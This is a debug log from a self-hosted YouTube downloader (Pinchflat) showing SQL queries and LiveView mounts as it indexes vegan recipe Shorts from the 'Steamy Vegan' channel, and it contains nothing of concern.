20:29:16.173 [info] CONNECTED TO Phoenix.LiveView.Socket in 34µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "JjprCSckHiwyIXUqclYjPAE3V1ovLQoQliRZsADZKT-oAelJRb5bggBb", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:29:16.274 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "That's right -- you can toast yam slices just like a piece of bread! 🍠 \n\nI love this hack as yams add extra nutrition to your meals, and offers a delicious texture ☺️ Slice your yams into roughly 1/4\" rounds or a little thicker, and toast them twice. I find that's the perfect amount of time to soften them up just enough so that they're still slightly firm to hold all your yummy toppings. \nTry it sweet or savoury! 🤤 \n\n\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35", "duration" => 20, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-15 You can TOAST yams?! 🍠/You can TOAST yams?! 🍠 [dkVL5FfLVzU].NA", "id" => "dkVL5FfLVzU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/dkVL5FfLVzU", "playlist_index" => 374, "timestamp" => 1655335803, "title" => "You can TOAST yams?! 🍠", "upload_date" => "20220615"} 20:29:16.276 [debug] QUERY OK source="sources" db=0.4ms idle=889.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:16.276 [debug] QUERY OK source="sources" db=0.3ms idle=889.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:16.279 [debug] QUERY OK source="media_items" db=2.3ms idle=888.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-15 23:30:03Z], 1] 20:29:16.281 [debug] QUERY OK source="media_items" db=1.0ms idle=845.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["That's right -- you can toast yam slices just like a piece of bread! 🍠 \n\nI love this hack as yams add extra nutrition to your meals, and offers a delicious texture ☺️ Slice your yams into roughly 1/4\" rounds or a little thicker, and toast them twice. I find that's the perfect amount of time to soften them up just enough so that they're still slightly firm to hold all your yummy toppings. \nTry it sweet or savoury! 🤤 \n\n\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35", "You can TOAST yams?! 🍠", "564badf8-76c3-41b8-a786-b9c9b801213c", 1, [], 20, false, "dkVL5FfLVzU", "https://www.youtube.com/shorts/dkVL5FfLVzU", 374, "/downloads/downloads/alec/Steamy Vegan/2022-06-15 You can TOAST yams?! 🍠/You can TOAST yams?! 🍠 [dkVL5FfLVzU].NA", false, false, true, 0, ~U[2022-06-15 23:30:03Z], ~U[2026-03-22 03:29:16Z], ~U[2026-03-22 03:29:16Z], "That's right -- you can toast yam slices just like a piece of bread! 🍠 \n\nI love this hack as yams add extra nutrition to your meals, and offers a delicious texture ☺️ Slice your yams into roughly 1/4\" rounds or a little thicker, and toast them twice. I find that's the perfect amount of time to soften them up just enough so that they're still slightly firm to hold all your yummy toppings. \nTry it sweet or savoury! 🤤 \n\n\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35", "You can TOAST yams?! 🍠", 1, 20, false, "dkVL5FfLVzU", "https://www.youtube.com/shorts/dkVL5FfLVzU", "/downloads/downloads/alec/Steamy Vegan/2022-06-15 You can TOAST yams?! 🍠/You can TOAST yams?! 🍠 [dkVL5FfLVzU].NA", true, ~U[2022-06-15 23:30:03Z]] 20:29:16.282 [debug] QUERY OK source="sources" db=0.8ms idle=731.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:16.283 [debug] QUERY OK source="media_profiles" db=0.6ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:16.284 [debug] QUERY OK source="media_items" db=1.1ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [763] 20:29:16.285 [debug] Current batch of media processed. Will check again in 1000ms 20:29:16.294 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr", "media_state" => "downloaded"} 20:29:16.295 [debug] QUERY OK source="media_items" db=0.6ms idle=15.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:29:16.297 [debug] QUERY OK source="media_items" db=1.7ms idle=14.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:29:16.297 [debug] Replied in 3ms 20:29:16.298 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr", "media_state" => "pending"} 20:29:16.301 [debug] QUERY OK source="media_items" db=2.5ms idle=16.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:29:16.302 [debug] QUERY OK source="media_items" db=1.0ms idle=18.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:29:16.303 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=18.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:16.303 [debug] Replied in 5ms 20:29:16.306 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr"} 20:29:16.306 [debug] QUERY OK source="tasks" db=0.5ms idle=10.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:29:16.307 [debug] QUERY OK source="sources" db=0.4ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:16.307 [debug] Replied in 1ms 20:29:16.334 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr"} 20:29:16.334 [debug] Replied in 173µs 20:29:17.286 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This tofu is stupid easy but SO flipping' good! Here's how to make this Sweet Chipotle style tofu:\n\n1 block extra firm tofu, pressed\n1-2 chilies in adobo sauce, minced (depending how spicy you like it 🥵)\n1 tbsp soy sauce (GF and low-sodium if possible)\n1/2 tbsp vegan Worcestershire sauce\n1 tbsp maple syrup\n1/2 tbsp sesame oil\n\nStart by sautéing the chilies in the sesame oil for 1 minute, then add the tofu. Drizzle the soy sauce, Worcestershire and maple syrup. Toss the tofu to coat both sides, then cook on each side for 4 minutes until golden and slightly sticky.\n\nEAT UP!! 🤤🤤🤤\n\nWHAT TO DO WITH THE REST OF YOUR CAN OF CHILIES IN ADOBO? I gotchu, boo: https://youtube.com/shorts/nk9XmouY8O4?feature=share", "duration" => 27, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-15 The BEST tofu! Sweet Chipotle style 🌶/The BEST tofu! Sweet Chipotle style 🌶 [liffMcODPDM].NA", "id" => "liffMcODPDM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/liffMcODPDM", "playlist_index" => 375, "timestamp" => 1655316027, "title" => "The BEST tofu! Sweet Chipotle style 🌶", "upload_date" => "20220615"} 20:29:17.287 [debug] QUERY OK source="sources" db=0.4ms idle=984.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:17.288 [debug] QUERY OK source="sources" db=0.6ms idle=983.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:17.292 [debug] QUERY OK source="media_items" db=3.7ms idle=981.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-15 18:00:27Z], 1] 20:29:17.293 [debug] QUERY OK source="media_items" db=0.9ms idle=985.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This tofu is stupid easy but SO flipping' good! Here's how to make this Sweet Chipotle style tofu:\n\n1 block extra firm tofu, pressed\n1-2 chilies in adobo sauce, minced (depending how spicy you like it 🥵)\n1 tbsp soy sauce (GF and low-sodium if possible)\n1/2 tbsp vegan Worcestershire sauce\n1 tbsp maple syrup\n1/2 tbsp sesame oil\n\nStart by sautéing the chilies in the sesame oil for 1 minute, then add the tofu. Drizzle the soy sauce, Worcestershire and maple syrup. Toss the tofu to coat both sides, then cook on each side for 4 minutes until golden and slightly sticky.\n\nEAT UP!! 🤤🤤🤤\n\nWHAT TO DO WITH THE REST OF YOUR CAN OF CHILIES IN ADOBO? I gotchu, boo: https://youtube.com/shorts/nk9XmouY8O4?feature=share", "The BEST tofu! Sweet Chipotle style 🌶", "0c2e2264-cf52-463e-b361-44d644d0045e", 1, [], 27, false, "liffMcODPDM", "https://www.youtube.com/shorts/liffMcODPDM", 375, "/downloads/downloads/alec/Steamy Vegan/2022-06-15 The BEST tofu! Sweet Chipotle style 🌶/The BEST tofu! Sweet Chipotle style 🌶 [liffMcODPDM].NA", false, false, true, 1, ~U[2022-06-15 18:00:27Z], ~U[2026-03-22 03:29:17Z], ~U[2026-03-22 03:29:17Z], "This tofu is stupid easy but SO flipping' good! Here's how to make this Sweet Chipotle style tofu:\n\n1 block extra firm tofu, pressed\n1-2 chilies in adobo sauce, minced (depending how spicy you like it 🥵)\n1 tbsp soy sauce (GF and low-sodium if possible)\n1/2 tbsp vegan Worcestershire sauce\n1 tbsp maple syrup\n1/2 tbsp sesame oil\n\nStart by sautéing the chilies in the sesame oil for 1 minute, then add the tofu. Drizzle the soy sauce, Worcestershire and maple syrup. Toss the tofu to coat both sides, then cook on each side for 4 minutes until golden and slightly sticky.\n\nEAT UP!! 🤤🤤🤤\n\nWHAT TO DO WITH THE REST OF YOUR CAN OF CHILIES IN ADOBO? I gotchu, boo: https://youtube.com/shorts/nk9XmouY8O4?feature=share", "The BEST tofu! Sweet Chipotle style 🌶", 1, 27, false, "liffMcODPDM", "https://www.youtube.com/shorts/liffMcODPDM", "/downloads/downloads/alec/Steamy Vegan/2022-06-15 The BEST tofu! Sweet Chipotle style 🌶/The BEST tofu! Sweet Chipotle style 🌶 [liffMcODPDM].NA", true, ~U[2022-06-15 18:00:27Z]] 20:29:17.294 [debug] QUERY OK source="sources" db=0.8ms idle=856.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:17.295 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:17.296 [debug] QUERY OK source="media_items" db=0.4ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [764] 20:29:17.296 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These 4 gluten free and vegan recipes are my main breakfast go-to meals. I make the green smoothie at least 5 times per week, the breakfast bowl once per week, the pancakes every 2 weeks, and the breakfast bars at least once every 2 weeks. \n\nI've got a ton of vegan and gluten free breakfast videos on my channel that are quick and easy to make. Check out the full recipe videos for each vegan and gluten free breakfast recipe below:\n1. Quinoa Breakfast Bowls: https://youtu.be/IimdaH0kc8I\n2. Banana Blender Pancakes: https://youtu.be/Ku7a74eh3a8\n3. Apple Cinnamon Breakfast Bars: https://youtu.be/rbG65z34oOI\n4. Green Detox Smoothie: https://youtu.be/NToOA5QK408\n\nOther Breakfast Videos on My Channel\n1. Holiday Baked Oatmeal: https://youtu.be/gmz3tAcd-d4\n2. Cacao Orange Granola: https://youtu.be/QGipOq83NUQ\n3. Quick Vegan Breakfast Ideas: https://youtu.be/IimdaH0kc8I\n4. 3 Different Ways to do Your Smoothies: https://youtu.be/NToOA5QK408\n\nDon't forget to subscribe so you never miss one of my vegan and gluten free recipe videos. I post new videos every week! Thanks for your support!\nJanelle", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-15 What I Eat For Breakfast on a GF Vegan Diet/What I Eat For Breakfast on a GF Vegan Diet [5xsAmIFLJq8].NA", "id" => "5xsAmIFLJq8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/5xsAmIFLJq8", "playlist_index" => 376, "timestamp" => 1655301605, "title" => "What I Eat For Breakfast on a GF Vegan Diet", "upload_date" => "20220615"} 20:29:17.297 [debug] QUERY OK source="sources" db=0.4ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:17.297 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:17.300 [debug] QUERY OK source="media_items" db=2.1ms idle=2.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-15 14:00:05Z], 1] 20:29:17.301 [debug] QUERY OK source="media_items" db=1.2ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These 4 gluten free and vegan recipes are my main breakfast go-to meals. I make the green smoothie at least 5 times per week, the breakfast bowl once per week, the pancakes every 2 weeks, and the breakfast bars at least once every 2 weeks. \n\nI've got a ton of vegan and gluten free breakfast videos on my channel that are quick and easy to make. Check out the full recipe videos for each vegan and gluten free breakfast recipe below:\n1. Quinoa Breakfast Bowls: https://youtu.be/IimdaH0kc8I\n2. Banana Blender Pancakes: https://youtu.be/Ku7a74eh3a8\n3. Apple Cinnamon Breakfast Bars: https://youtu.be/rbG65z34oOI\n4. Green Detox Smoothie: https://youtu.be/NToOA5QK408\n\nOther Breakfast Videos on My Channel\n1. Holiday Baked Oatmeal: https://youtu.be/gmz3tAcd-d4\n2. Cacao Orange Granola: https://youtu.be/QGipOq83NUQ\n3. Quick Vegan Breakfast Ideas: https://youtu.be/IimdaH0kc8I\n4. 3 Different Ways to do Your Smoothies: https://youtu.be/NToOA5QK408\n\nDon't forget to subscribe so you never miss one of my vegan and gluten free recipe videos. I post new videos every week! Thanks for your support!\nJanelle", "What I Eat For Breakfast on a GF Vegan Diet", "4ed7bf88-5b15-4f01-b234-44e5a2330c5e", 1, [], 13, false, "5xsAmIFLJq8", "https://www.youtube.com/shorts/5xsAmIFLJq8", 376, "/downloads/downloads/alec/Steamy Vegan/2022-06-15 What I Eat For Breakfast on a GF Vegan Diet/What I Eat For Breakfast on a GF Vegan Diet [5xsAmIFLJq8].NA", false, false, true, 2, ~U[2022-06-15 14:00:05Z], ~U[2026-03-22 03:29:17Z], ~U[2026-03-22 03:29:17Z], "These 4 gluten free and vegan recipes are my main breakfast go-to meals. I make the green smoothie at least 5 times per week, the breakfast bowl once per week, the pancakes every 2 weeks, and the breakfast bars at least once every 2 weeks. \n\nI've got a ton of vegan and gluten free breakfast videos on my channel that are quick and easy to make. Check out the full recipe videos for each vegan and gluten free breakfast recipe below:\n1. Quinoa Breakfast Bowls: https://youtu.be/IimdaH0kc8I\n2. Banana Blender Pancakes: https://youtu.be/Ku7a74eh3a8\n3. Apple Cinnamon Breakfast Bars: https://youtu.be/rbG65z34oOI\n4. Green Detox Smoothie: https://youtu.be/NToOA5QK408\n\nOther Breakfast Videos on My Channel\n1. Holiday Baked Oatmeal: 